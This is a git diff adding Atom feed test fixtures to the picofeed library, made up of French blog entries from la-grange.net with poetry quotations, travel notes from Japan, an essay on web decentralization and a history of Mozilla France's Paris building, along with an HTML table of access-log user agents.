+<tr><td>13T02:33:35</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T03:02:33</td><td/><td>GET</td><td>Mozilla/5.0 (X11; Linux i686; rv:33.0) Gecko/20100101 Firefox/33.0</td></tr>
+<tr><td>13T03:04:06</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0</td></tr>
+<tr><td>13T03:04:40</td><td/><td>HEAD</td><td>-</td></tr>
+<tr><td>13T03:16:00</td><td/><td>GET</td><td>Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257 Twitter for iPhone</td></tr>
+<tr><td>13T03:21:56</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0</td></tr>
+<tr><td>13T03:39:51</td><td/><td>GET</td><td>Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0</td></tr>
+<tr><td>13T03:49:57</td><td/><td>GET</td><td>Mozilla/5.0 (Mobile; rv:33.0) Gecko/33.0 Firefox/33.0</td></tr>
+<tr><td>13T03:54:46</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T04:00:27</td><td/><td>GET</td><td>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0</td></tr>
+<tr><td>13T04:03:55</td><td/><td>GET</td><td>Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257 Twitter for iPhone</td></tr>
+<tr class="bot"><td>13T04:08:50</td><td/><td>GET</td><td>Mozilla/5.0 (compatible; TweetedTimes Bot/1.0; +http://tweetedtimes.com)</td></tr>
+<tr><td>13T04:10:56</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T04:33:55</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T04:43:24</td><td/><td>GET</td><td>Mozilla/5.0 (Android; Mobile; rv:30.0) Gecko/30.0 Firefox/30.0</td></tr>
+<tr><td>13T04:46:20</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T04:46:39</td><td/><td>GET</td><td>Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257</td></tr>
+<tr><td>13T04:56:10</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36</td></tr>
+<tr><td>13T05:21:18</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T05:33:03</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T05:34:47</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T05:41:46</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T05:51:22</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T05:59:15</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T06:03:10</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T06:11:47</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T06:21:14</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T06:33:04</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T06:40:53</td><td/><td>GET</td><td>Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257 Twitter for iPhone</td></tr>
+<tr><td>13T06:41:42</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T06:51:18</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T07:02:51</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T07:08:46</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:33.0) Gecko/20100101 Firefox/33.0</td></tr>
+<tr><td>13T07:11:49</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T07:21:21</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T07:31:49</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T07:41:28</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T07:50:22</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T08:02:41</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr class="bot"><td>13T08:15:09</td><td/><td>HEAD</td><td>libwww-perl/6.05</td></tr>
+<tr><td>13T08:19:42</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr class="bot"><td>13T08:44:23</td><td/><td>GET</td><td>python-requests/2.1.0 CPython/2.7.6 Linux/3.13.0-24-generic</td></tr>
+<tr><td>13T08:55:11</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0</td></tr>
+<tr><td>13T09:07:27</td><td/><td>GET</td><td>Mozilla/5.0 (Linux; Android 4.4.4; Nexus 5 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.141 Mobile Safari/537.36</td></tr>
+<tr><td>13T09:27:30</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0</td></tr>
+<tr><td>13T12:24:58</td><td/><td>GET</td><td>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0</td></tr>
+<tr><td>13T12:45:43</td><td/><td>GET</td><td>Mozilla/5.0 (Android; Mobile; rv:30.0) Gecko/30.0 Firefox/30.0</td></tr>
+<tr class="bot"><td>13T13:10:12</td><td/><td>HEAD</td><td>-</td></tr>
+<tr><td>13T15:40:55</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:30.0) Gecko/20100101 Firefox/30.0</td></tr>
+</tbody></table>
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-12:2014/07/12/atami</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/12/atami"/>
+ <title>Ce que l'on y cherche</title>
+ <published>2014-07-12T23:59:00+07:00</published>
+ <updated>2014-09-08T10:05:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/12/4459-boutique" alt="Boutiques dans les rues"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+
+<div class="extrait">
+ <blockquote cite="http://poesie.webnet.fr/lesgrandsclassiques/poemes/evariste_de_parny/souvenir.html">
+ <p>Déjà la nuit s'avance, et, du sombre orient,<br/>
+Ses voiles par degrés dans les airs se déploient.<br/>
+Sommeil, doux abandon, image du néant,<br/>
+Des maux de l'existence heureux délassement,<br/>
+Tranquille oubli des soins où les hommes se noient ;<br/>
+Et vous, qui nous rendez à nos plaisirs passés,<br/>
+Touchante Illusion, déesse des mensonges,<br/>
+Venez dans mon asile, et sur mes yeux lassés<br/>
+Secouez les pavots et les aimables songes. </p>
+ </blockquote>
+ <p class="source"><span class="auteur">Évariste de Parny</span>, <cite class="titre">Souvenir</cite>.</p>
+</div>
+
+<p>Je ne sais pas très bien. Est-ce le fantôme de Atami qui me séduit ? Ou bien est-ce moi qui crée le fantôme dans Atami. Ce matin, je ne savais pas trop quelle direction prendre sur le quai de Tsujido. J'ai finalement le premier train qui venait. Il allait vers Atami et non vers Tokyo.</p>
+
+<figure>
+ <img src="/2014/07/12/4462-chouette" alt="Chouette sur une chaise"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+<p>Le soleil me pousse les épaules dans les rues étroites. La rue étroite me prend la main vers les lieux abandonnés. Une femme prend un verre dans un bar sombre. Sa chouette vivante sur la chaise attends patiemment le fond du verre. Un magasin de céramiques qui ne vend plus rien, juste de la poussière et des images.</p>
+
+<figure>
+ <img src="/2014/07/12/4472-ceramique" alt="Un pot en céramique sur une étagère"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+<p>Et une surprise, presque inattendue, se présente. Il aura fallu le coin d'une rue, un premier rideau et puis une porte. Un restaurant de poisson sans fenêtres, une pièce sombre et des notes de jazz, je m'assoie. Je commande un salmon-ikura-don. </p>
+
+<figure>
+ <img src="/2014/07/12/4479-salmon-ikura-don" alt="Plateau de repas"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+<p>Après le repas je reprendrais ma dérive dans la <a href="/2010/06/01/ville-fantome">ville fantôme</a>. J'y recherche peut-être le sentiment d'abandon.</p>
+
+<figure>
+ <img src="/2014/07/12/4497-immeuble" alt="Façade d'immeuble"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-11:2014/07/11/souvenir</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/11/souvenir"/>
+ <title>La mémoire du goût</title>
+ <published>2014-07-11T23:59:00+07:00</published>
+ <updated>2014-09-08T09:21:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/05/4367-cafe" alt="Café en cours d'infusion"/>
+ <figcaption>Tsujido, Japon, 5 juillet 2014</figcaption>
+</figure>
+
+
+<div class="extrait">
+ <blockquote cite="http://poesie.webnet.fr/lesgrandsclassiques/poemes/jacques_delille/le_cafe.html">
+ <p>Enfin, de ta liqueur lentement reposée,<br/>
+Dans le vase fumant la lie est déposée ;<br/>
+Ma coupe, ton nectar, le miel américain,<br/>
+Que du suc des roseaux exprima l'Africain,<br/>
+Tout est prêt : du Japon l'émail reçoit tes ondes,<br/>
+Et seul tu réunis les tributs des deux mondes.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Jacques Delille</span>, <cite class="titre">Le café</cite>.</p>
+</div>
+
+<p>Parfois nous avons juste besoin de prolonger le souvenir du <a href="/2014/06/06/hanoi">voyage</a>.</p>
+
+<figure>
+ <img src="/2014/07/05/4370-cafe" alt="Café infusé au dessus de lait concentré"/>
+ <figcaption>Tsujido, Japon, 5 juillet 2014</figcaption>
+</figure>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-10:2014/07/10/typhon</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/10/typhon"/>
+ <title>Typhon discret</title>
+ <published>2014-07-10T23:59:00+07:00</published>
+ <updated>2014-09-07T13:21:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/04/4346-tanabata" alt="Lampions au dessus de la rue"/>
+ <figcaption>Hiratsuka, Japon, 4 juillet 2014</figcaption>
+</figure>
+
+
+<div class="extrait">
+ <blockquote cite="http://poesie.webnet.fr/lesgrandsclassiques/poemes/isidore_ducasse_comte_de_lautreamont/poesies_i.html">
+ <p>Je ne laisserai pas de Mémoires.<br/>
+La poésie n'est pas la tempête, pas plus que le cyclone. C'est un
+fleuve majestueux et fertile.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Lautréamont</span>, <cite class="titre">Poésies I</cite>.</p>
+</div>
+
+<p>Un Typhon, phon, phon,<br/>
+Les magnifiques girouettes,<br/>
+Un Typhon, phon, phon,<br/>
+Trois p'tits tours et puis s'en vont.</p>
+
+<p>Nous avions fermé tous les volets métalliques de la maison. Okinawa avait subit de plein fouet le souffle du sud. <a href="https://fr.wikipedia.org/wiki/Typhon_Neoguri_%282014%29">Neoguri</a> devait nous assommer de son marteau. Et puis… et puis… et puis… rien.</p>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-09:2014/07/09/frustration</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/09/frustration"/>
+ <title>Frustration</title>
+ <published>2014-07-09T23:59:00+07:00</published>
+ <updated>2014-09-07T09:18:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/06/4426-feuillage" alt="bâtiments vus à travers un feuillage"/>
+ <figcaption>Omori, Japon, 6 juillet 2014</figcaption>
+</figure>
+
+
+<div class="extrait">
+ <blockquote cite="http://poesie.webnet.fr/lesgrandsclassiques/poemes/marceline_desbordes_valmore/le_rossignol_aveugle.html">
+ <p>Chante donc ta douleur profonde,<br/>
+Ton désert au milieu du monde,<br/>
+Ton veuvage, ton abandon ;<br/>
+Dis, dis quelle amertume affreuse<br/>
+Rend la liberté douloureuse<br/>
+Pour qui n'en sait plus que le nom !</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Marceline Desbordes-Valmore</span>, <cite class="titre">Le rossignol aveugle</cite>.</p>
+</div>
+
+<p>Il est parfois difficile de trouver le bon équilibre entre le plaisir quotidien que l'on a dans notre travail avec la politique générale de l'organisation qui nous fournit ce travail. Gérer la frustration, prendre du recul et se concentrer sur ce qui nous semble être plus important.</p>
+
+<p>Heureusement ce matin, il y a la bruine fine. Les épines de pin brillent des gouttes d'eau. Heureusement, il y a le souvenir de l'intime feuillage et de l'architecture.</p>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-08:2014/07/08/echelle</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/08/echelle"/>
+ <title>Échelle, capacité et opacité</title>
+ <published>2014-07-08T23:59:00+07:00</published>
+ <updated>2014-09-07T08:34:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/06/4430-dessert" alt="Dessert en forme de poisson"/>
+ <figcaption>Togoshi-Ginza Shinagawa, Japon, 6 juillet 2014</figcaption>
+</figure>
+
+
+<div class="extrait">
+ <blockquote cite="http://poesie.webnet.fr/lesgrandsclassiques/poemes/neree_beauchemin/le_vieux_parler.html">
+ <p>Le mot local, très clair, s'entend ;<br/>
+Du puriste il choque l'oreille ;<br/>
+Malgré tout, comme il s'appareille,<br/>
+Et comme il s'accorde pourtant<br/>
+Avec la parlure d'antan.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Nérée Beauchemin</span>, <cite class="titre">Le vieux parler</cite>.</p>
+</div>
+
+<p>En me promenant le week-end dernier dans <a href="/2014/07/07/rues">cette rue commerciale</a>, je remarque de nombreuses boutiques, qui ne font pas partie d'une franchise. Elles sont là pour répondre à un besoin qui est local. Elles dépendent des personnes qui les font vivre et non d'une structure multinationale avec ses logiques de marché complètement différente. La question de la marque est une question d'identité personnelle avec son environnement proche et non celle de séduire des milliers de personnes.</p>
+
+<p>Sur le Web, nous tentons souvent de résoudre des problèmes que nous n'avons pas vraiment. La politique économique des infrastructures technologiques nous poussent à certains choix qui finalement sont idiots et en contrepartie créés de nombreux problèmes. Dans les zones urbaines, nous avons accès à des communications cablées ou ADSL de bonne qualité. Très souvent, ces connexions sont permanentes. Nous utilisons des logiciels clients qui sont finalement assez complexes et qui prennent en charge la communication à travers le réseau HTTP.</p>
+
+<p>Et pourtant dès qu'il s'agit d'héberger un service Web, email, etc. Tout devient beaucoup plus compliqué. Il faut louer un espace sur le Web, que ce soit machine unique ou tant de CPUs chez un hébergeur. Ou il est possible pour une personne d'utiliser un des services en ligne offert par l'une des grandes compagnies. Comme toutes ces structures veulent réaliser des bénéfices, leur stratégie est créer des infrastructures qui permettent de gérer un grand nombre. En réalisant ces ensembles, nous permettons une hypercentralisation des services. Les services de courrier, de listes, d'hébergement, de messagerie, de réseau sont alors définies par une poignée de grandes multinationales. Les protocoles sont ajustés afin de permettre à ces services hypercentralisés à haut trafic d'être efficaces.</p>
+
+<p>L'hypercentralisation favorise en retour la surveillance. Elle rend sa pratique efficace et moins coûteuse. Elle devient si accessible qu'il devient tentant d'abandonner un peu de son éthique pour tenter l'expérience et finalement enclencher un processus irréversible. Alors pour répondre à la menace d'une surveillance accrue, nous renforçons la sécurité. Nous rendons nos protocoles plus opaques. Nous créons des murs plus épais, plus hauts. Nous renforçons la résistance. Mais nous n'avons pas réglé le problème initial. Nous avons juste créé les circonstances pour une catastrophe globale plus importante. De la même manière que la course sécuritaire et aux armements ne rend pas le monde plus libre et plus anodin, mais au contraire beaucoup plus sous tension. L'équilibre de la riposte nucléaire tient dans la peur que les gens ne l'utiliseront pas. Elle ne répond pas le monde moins dangereux, bien au contraire.</p>
+
+<p>Alors que faire ?</p>
+
+<p>Pour retourner un réseau Web plus opaque, plus humain et moins victime de la surveillance massive. Il faut favoriser la décentralisation. La décentralisation commence par la réciprocité de la capacité à publier de chez soi, de pouvoir facilement démarrer un serveur Web, d'héberger son propre nom de domaine, sa prope liste de discussions. Nous n'avons pour la plupart aucun besoin des performances ultimes des serveurs Web des grands groupes de presse, des grandes sociétés. Le trafic généré sur nos sites pourrait être parfaitement absorbé par une machine locale. Les logiciels d'administration pourraient être très simplifiés. On ne réglera pas tous les problèmes. On ne garantira pas une sécurité ultime, mais on réduira nettement l'ampleur et l'intérêt des attaques.</p>
+
+<figure>
+ <img src="/2014/07/06/4431-dessert" alt="Dessert avec pâte de haricot"/>
+ <figcaption>Togoshi-Ginza Shinagawa, Japon, 6 juillet 2014</figcaption>
+</figure>
+
+<p>Dans cette rue, j'ai mangé un produit qui a été fait localement, qui n'avait pas de marque sur le paquet en papier, qui n'avait que son goût, qui m'offrait du plaisir et répondait à mon besoin de faim. Non seulement, ce produit peut exister ailleurs fait par une autre boutique, mais celui-ci est l'opportunité de la nostalgie, d'une ancre pour la mémoire, la possibilité d'un manque. Il en est de même de nos services Web, nous n'avons pas besoin d'être résistant à un trafic de millions de personnes lorsqu'uniquement quelques dizaines de personnes nous liront.</p>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+</feed> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/lagrange.xml b/vendor/fguillot/picofeed/tests/fixtures/lagrange.xml
new file mode 100644
index 000000000..de76f331e
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/lagrange.xml
@@ -0,0 +1,1986 @@
+<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
+<title>Carnets de La Grange</title>
+<subtitle>Chroniques d'un poète urbain</subtitle>
+<id>tag:la-grange.net,2000-04-12:karl</id>
+ <updated>2013-04-12T13:38:13Z</updated>
+<link href="http://www.la-grange.net/feed.atom" rel="self" type="application/atom+xml" />
+<link href="http://www.la-grange.net/" rel="alternate" type="application/xhtml+xml" />
+<link href="http://creativecommons.org/licenses/by/2.0/fr/" rel="license" />
+<icon>http://www.la-grange.net/favicon.png</icon>
+<author>
+ <name>Karl Dubost</name>
+ <uri>http://www.la-grange.net/karl/</uri>
+</author>
+
+<entry>
+ <id>tag:la-grange.net,2013-04-10:2013/04/10/memoire-lieu</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/04/10/memoire-lieu"/>
+ <title>L'hôtel particulier de Mozilla</title>
+ <published>2013-04-10T23:17:00Z</published>
+ <updated>2013-04-12T13:38:13Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/04/10/hotel-particulier" alt="salle avec dorures"/>
+ <figcaption>Salle intérieure de l'hôtel Mercy d’Argenteau</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="https://www.mozilla.org/en-US/mission/">
+ <p>Our mission is to promote openness, innovation &amp; opportunity on the Web.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Mozilla</span>, <cite class="titre">Mission</cite>.</p>
+</div>
+
+<p><a href="http://www.mozilla.org/">Mozilla</a> France a déménagé dans de <a href="http://www.journaldunet.com/solutions/emploi-rh/siege-de-mozilla-europe-a-paris/">nouveaux locaux</a> au 16, rue boulevard Montmartre à Paris. Comme le bâtiment de style 18eme siècle est particulièrement remarquable (bien que pas très à mon goût), la presse en parle. Laurent a écrit un <a href="http://embruns.net/logbook/2013/04/09.html#nourrir-mes-enfants">billet sur le lieu</a>, ce qui en retour a piqué ma curiosité pour en savoir un peu plus. Laurent et moi échangeons des informations dans les commentaires de son billet.</p>
+
+<p class="note">Le propriétaire en 2013 de l'ensemble de l'immeuble, dont Mozilla ne loue qu'une partie, est <a href="http://www.lemoniteur.fr/181-innovation-chantiers/article/actualite/19159702-restructuration-d-un-immeuble-historique-sur-les-grands-boulevards">Gecina</a>.</p>
+
+<h2 id="personnes">Les personnes</h2>
+
+<p><img src="/2013/04/10/Jeanjosephdelaborde" style="float:right;margin-left:2rem;" alt="Portrait de Jean-Joseph de Laborde"/>L'hôtel particulier a été construit en 1778. <a href="https://fr.wikipedia.org/wiki/Firmin_Perlin">Firmin Perlin</a> est l'architecte. Il avait alors 31 ans. Il est mort à l'âge de 36 ans de turberculose.</p>
+
+<p>Le client <a href="https://fr.wikipedia.org/wiki/Jean-Joseph_de_Laborde">Jean-Joseph de Laborde</a> (sur la droite) réalise sa fortune sur le commerce des biens rares tels que les fruits et les essences d'arbres tropicaux. Il participe à la traite des esclaves également. Il semble posséder de nombreuses propriétés. Il sera guillotiné en 1794. Sur Gallica, on peut trouver les <a href="http://gallica.bnf.fr/Search?adva=1&amp;adv=1&amp;tri=title_sort&amp;t_relation=%22Notice+d%27ensemble+%3A+http%3A%2F%2Fcatalogue.bnf.fr%2Fark%3A%2F12148%2Fcb36443254x%22&amp;q=conspirateurs&amp;lang=en">listes des guillotinés</a> par le <a href="https://fr.wikipedia.org/wiki/Tribunal_r%C3%A9volutionnaire">tribunal révolutionnaire</a>. Ces listes sont terrifiantes. Elles énumèrent des personnes de toutes conditions sociales jugées et exécutées aussitôt.</p>
+
+<figure>
+ <img src="/2013/04/10/joseph-laborde-guillottine" alt="liste de noms"/>
+ <figcaption>Salle intérieure de l'hôtel Mercy d’Argenteau</figcaption>
+</figure>
+
+
+<p><img src="/2013/04/10/Florimont-Claude_Mercy-Argenteau" style="float:left;margin-right:2rem;" alt="Portrait de Florimond de Mercy-Argenteau"/>Jean-Joseph ne semble ne pas avoir gardé le bâtiment longtemps qui est aussitôt revendu ou cédé au <a href="https://fr.wikipedia.org/wiki/Florimond_de_Mercy-Argenteau">comte de Mercy-Argenteau</a>, alors ambassadeur d'Autriche. Mais ce n'est pas si clair. Toutes les sources d'information sur wikipedia semblent répéter la même histoire. Les deux personnes semblent <a href="http://gallica.bnf.fr/ark:/12148/bpt6k6216920p/f66.image.r=%22Jean-Joseph%20de%20Laborde%22.langEN">avoir été proches</a> et leurs maisons étaient proches selon l'introduction de ce livre publié en 1889, <cite>Correspondance secrète du comte de Mercy-Argenteau avec l'Empereur Joseph II et le prince de Kaunitz</cite>.</p>
+
+<div class="extrait">
+ <blockquote cite="http://gallica.bnf.fr/ark:/12148/bpt6k6216920p/f66.image.r=%22Jean-Joseph%20de%20Laborde%22.langEN">
+ <p>M. de Mercy était surtout très étroitement lié avec le grand banquier Jean-Joseph de Laborde, un des hommes qui honorèrent le plus la nation française à la fin de l'ancien régime.</p>
+
+ <p>L'origine de leurs relations se devine aisément. En 1760, M. de Laborde avait épousé une des filles de Mme Nettine, qui dirigeait à Bruxelles la grande maison de banque, chargée des affaires de la cour de Vienne aux Pays-Bas. Cette dame était en outre l'amie intime du comte de Cobenzl, le ministre qui était à la tête de l'administration des Pays-Bas autrichiens et
+elle avait toute la confiance de l'Impératrice et du prince de
+Kaunitz qui avait les Pays-Bas dans ses attributions. Comme
+M. de Laborde était à Paris le représentant de sa belle-mère,
+il avait forcément des relations avec les ambassadeurs impériaux, qui devaient être trop heureux de pouvoir fréquenter
+une maison agréable, où la meilleure société de Paris se donnait rendez-vous. On y rencontrait entre autres le prince de
+Conti, Mme de Brionne, le duc de Gontaut, la duchesse de
+Gramont et son frère le duc de Choiseul, qui donnait en toute
+occasion les preuves de la plus vive amitié à M. de Laborde,
+qui de son côté lui rendait les plus grands services. Aussi
+lorsque M. de Mercy fut admis dans l'intimité de la famille de Choiseul, à la fin de l'année 1768, il devint en même temps
+l'ami de M. de Laborde, qui dès lors est souvent nommé dans
+les dépêches de l'ambassadeur. <strong>Cette intimité s'accrut encore,
+en 1778, quand M. de Mercy fut venu habiter son hôtel sur le
+boulevard, qui était tout à côté de l'hôtel de M. de Laborde,
+situé rue Grange-Batelière W. M. de Mercy devint alors l'un
+des familiers les plus assidus de la maison de Laborde</strong>. Non
+seulement il y trouvait des amis sûrs et dévoués, un homme
+du plus grand mérite et une femme de premier ordre, qui savaient attirer chez eux la meilleure société de Paris, mais il
+recueillait dans ce salon des mieux informés les plus précieux
+renseignements sur les affaires d'Etat comme sur celles des particuliers et il en profitait pour augmenter l'intérêt de ses dépêches. En outre, M. de Laborde par sa position pouvait lui fournir les notions les plus certaines sur les intrigues de cour, sur l'état du Trésor royal, sur la situation économique de la France, etc.</p>
+ </blockquote>
